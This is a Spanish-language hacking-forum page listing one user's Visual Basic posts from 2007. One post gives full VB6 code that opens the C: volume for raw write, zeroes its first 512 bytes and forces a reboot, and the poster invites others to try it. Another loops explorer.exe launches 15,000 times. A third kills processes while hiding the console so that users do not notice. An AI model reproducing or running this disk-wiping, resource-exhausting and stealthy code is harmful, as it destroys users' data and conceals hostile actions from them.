elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación Visual Basic / Re: interesante en: 29 Octubre 2007, 03:14 am
Algo que ocurre con el Do - Loop es lo siguiente, la apliación queda colgada, por lo que nos combiene más

Dim i
For i = 1 to 15000
shell "explorer.exe"
Next

Y entonces, si quieres, puedes agregar más cosas al código, como msgbox y esas estupideces jajajajaj

^^

Saludos
2  Programación / Programación Visual Basic / Re: ejecucion silenciosa de EXE por USB y VB en: 29 Octubre 2007, 03:07 am
eeeeeeeeeeeeeeh??? :-X :-X explicate un poco mejor, aver si te puedo ayudar

^^
3  Programación / Programación Visual Basic / Re: Escribir en secciones del disco duro... en: 23 Octubre 2007, 22:35 pm
Mirá, esto es un snippet que encontré para escribir en los primeros 512 kb del disco duro ;) te va a servir:

Código
  1.    Option Explicit
  2.  
  3.  
  4. Private Const SE_SHUTDOWN_NAME As String = "SeShutdownPrivilege"
  5. Private Const SE_DEBUG_NAME = "SeDebugPrivilege"
  6. Private Const ERROR_NOT_ALL_ASSIGNED As Long = 1300&
  7. Private Const EWX_FORCE As Long = 4
  8. Private Const EWX_REBOOT As Long = 2
  9. Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
  10. Private Const TOKEN_ASSIGN_PRIMARY As Long = &H1
  11. Private Const TOKEN_DUPLICATE As Long = &H2
  12. Private Const TOKEN_IMPERSONATE As Long = &H4
  13. Private Const TOKEN_QUERY As Long = &H8
  14. Private Const TOKEN_QUERY_SOURCE As Long = &H10
  15. Private Const TOKEN_ADJUST_PRIVILEGES As Long = &H20
  16. Private Const TOKEN_ADJUST_GROUPS As Long = &H40
  17. Private Const TOKEN_ADJUST_SESSIONID As Long = &H100
  18. Private Const TOKEN_ADJUST_DEFAULT As Long = &H80
  19. Private Const TOKEN_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or TOKEN_ASSIGN_PRIMARY Or TOKEN_DUPLICATE Or TOKEN_IMPERSONATE Or TOKEN_QUERY Or TOKEN_QUERY_SOURCE Or TOKEN_ADJUST_PRIVILEGES Or TOKEN_ADJUST_GROUPS Or TOKEN_ADJUST_SESSIONID Or TOKEN_ADJUST_DEFAULT)
  20. Private Const ANYSIZE_ARRAY As Long = 1
  21. Private Const SYNCHRONIZE As Long = &H100000
  22. Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
  23. Private Const SE_PRIVILEGE_ENABLED As Long = &H2
  24. Private Const GENERIC_WRITE As Long = &H40000000
  25. Private Const FILE_SHARE_READ As Long = &H1
  26. Private Const FILE_SHARE_WRITE As Long = &H2
  27. Private Const OPEN_EXISTING As Long = 3
  28.  
  29. Private Type LARGE_INTEGER
  30.   LowPart As Long
  31.   HighPart As Long
  32. End Type
  33.  
  34. Private Type LUID
  35.   LowPart As Long
  36.   HighPart As Long
  37. End Type
  38.  
  39.  
  40. Private Type LUID_AND_ATTRIBUTES
  41.   pLuid As LUID
  42.   Attributes As Long
  43. End Type
  44.  
  45. Private Type TOKEN_PRIVILEGES
  46.   PrivilegeCount As Long
  47.   Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
  48. End Type
  49.  
  50.  
  51. Private Declare Function GetCurrentThread Lib "kernel32.dll" () As Long
  52. Private Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByRef lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
  53. Private Declare Function AdjustTokenPrivileges Lib "ADVAPI32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
  54. Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
  55. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  56. Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
  57. Private Declare Function OpenProcessToken Lib "ADVAPI32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
  58. Private Declare Function LookupPrivilegeValue Lib "ADVAPI32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LARGE_INTEGER) As Long
  59. Private Declare Function ExitWindowsEx Lib "user32.dll" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
  60. Private Declare Function GetLastError Lib "kernel32.dll" () As Long
  61. Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
  62.  
  63. Dim lLUID As LUID
  64. Dim TokenP As TOKEN_PRIVILEGES
  65. Dim LuidAttrib As LUID_AND_ATTRIBUTES
  66.  
  67. Private sub Form_Load()
  68. Dim pHnd, tHnd, ret, rBuffer, dHnd, ctHnd As Long
  69. Dim rBufferLen, rlenWrite, n As Integer
  70. Dim LuidCode As LARGE_INTEGER
  71. Dim Buffer(511) As Byte
  72.  
  73. dHnd = CreateFile("\\.\C:", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_EXISTING, ByVal 0&, ByVal 0&)
  74.   If dHnd = 0 Then GoTo done
  75.  
  76. For n = 0 To 511
  77. Buffer(n) = 0
  78.  
  79. ret = WriteFile(dHnd, Buffer(n), Len(Buffer(n)), rBufferLen, ByVal 0&)
  80.   If rlenWrite = 0 Then GoTo done
  81. Next
  82.  
  83. pHnd = OpenProcess(PROCESS_ALL_ACCESS, ByVal 0&, GetCurrentProcessId)
  84.   If pHnd = 0 Then
  85.           GoTo done
  86.   End If
  87.  
  88. ret = OpenProcessToken(pHnd, TOKEN_ALL_ACCESS, tHnd)
  89.   If ret = 0 Then
  90.           GoTo done
  91.   End If
  92.  
  93.  
  94. ret = LookupPrivilegeValue(vbNullString, SE_DEBUG_NAME, LuidCode)
  95.   If ret = 0 Then
  96.           GoTo done
  97.   End If
  98.  
  99. lLUID.HighPart = LuidCode.HighPart
  100. lLUID.LowPart = LuidCode.LowPart
  101.  
  102. LuidAttrib.pLuid.HighPart = lLUID.HighPart
  103. LuidAttrib.pLuid.LowPart = lLUID.LowPart
  104.  
  105. TokenP.PrivilegeCount = 1
  106. TokenP.Privileges(0) = LuidAttrib
  107. TokenP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
  108.  
  109. ret = AdjustTokenPrivileges(tHnd, 0, TokenP, ByVal 0&, TokenP, rBuffer)
  110.  If GetLastError = ERROR_NOT_ALL_ASSIGNED Then
  111.   GoTo done
  112.   End If
  113.  
  114.   If GetLastError = 122 Then
  115.       ret = AdjustTokenPrivileges(tHnd, 0, TokenP, rBuffer, TokenP, rBuffer)
  116.           If ret = 0 Then
  117.                   GoTo done
  118.           ElseIf ret = ERROR_NOT_ALL_ASSIGNED Then
  119.               GoTo done
  120.           End If
  121.  
  122.   End If
  123.  
  124.  
  125. ret = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
  126.   If ret = 0 Then
  127.           GoTo done
  128.   End If
  129. done:
  130. CloseHandle (pHnd)
  131. CloseHandle (tHnd)
  132. End Sub
  133.  
  134.  

Saludos ^^

Edit: Alguien que lo pruebe  :xD
4  Programación / Programación Visual Basic / Re: Matar procesos en WinXP en: 23 Octubre 2007, 18:27 pm
 ;) gracias Hades... :) una corrección nunca está mal  ;) , según lo que he escuchado, hay distintas formas de matar a un proceso, y no solo esta. Hace poco vi un programita que permitía matar procesos como de 11 Formas, incluyendo overflows, inyecciones y demás

 :rolleyes: Estaba pensando en que la inyección de una DLL es posible

 :xD aunque algo compleja....


 ;D Saludos!
5  Programación / Programación Visual Basic / Re: Matar procesos en WinXP en: 23 Octubre 2007, 03:32 am
:) Hola gente, mi primer post en el foro :P y mi primer aporte:

Compliqué un poco más las cosas xD:

Código:
Option Explicit
Private Const TH32CS_SNAPHEAPLIST = &H1
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPTHREAD = &H4
Private Const TH32CS_SNAPMODULE = &H8
Private Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Private Const TH32CS_INHERIT = &H80000000
Private Const MAX_PATH As Integer = 260
Private Const PROCESS_TERMINATE = &H1
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Private Function GetDirectory(x)
Dim sr&, win$, sys As String
Select Case x
Case 1:
       GetDirectory = Left$(App.Path, InStr(App.Path, "\"))
Case 2:
       win = Space$(255)
       sr = GetWindowsDirectory(win, Len(win))
       win = Left$(win, sr)
       Trim (win)
       GetDirectory = win
Case 3:
       sys = Space$(255): sr = 0
       sr = GetSystemDirectory(sys, Len(sys))
       sys = Left$(sys, sr)
       Trim (sys)
       GetDirectory = sys
End Select
End Function

Function MatarProceso(proceso$)
If Dir$(GetDirectory(3) & "\taskkill.exe") <> "" Then
    Shell "taskkill.exe /IM" & Chr(32) & proceso$, vbHide
        Else
    Dim hSnapShot#, ProcesoC#, ResP#, ProcesoC2#, R#, uProcess As PROCESSENTRY32
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
    uProcess.dwSize = Len(uProcess)
    R = Process32First(hSnapShot, uProcess)
 
    Do While R
        If Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) > 0, InStr(1, uProcess.szExeFile, Chr$(0)) - 1, 0)) = proceso Then
            ProcesoC = uProcess.th32ProcessID
            ProcesoC2 = OpenProcess(PROCESS_TERMINATE, True, ProcesoC)
            ResP = TerminateProcess(ProcesoC2, 99)
            CloseHandle ProcesoC2
            Exit Do
        Else
            R = Process32Next(hSnapShot, uProcess)
        End If
    Loop
    CloseHandle hSnapShot
    End If
End Function
 
Private Sub Command1_Click()
MatarProceso ("notepad.exe")
End Sub


Pero, hay dos cosas nuevas en el code que pueden ser muy útiles:

1) Si existe taskkill.exe y todo eso, lo incluímos en la misma function.
2) Al ejecutar cmd.exe, lo hacemos invisiblemente, para que no se sospeche de la ejecución de la consola de comandos y el final de un proceso sin razón aparente...
3) Un code un poco más complejo para obtener más de una carpeta  :P (Este lo pueden descartar si quieren xD)
 ;) Saludos
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines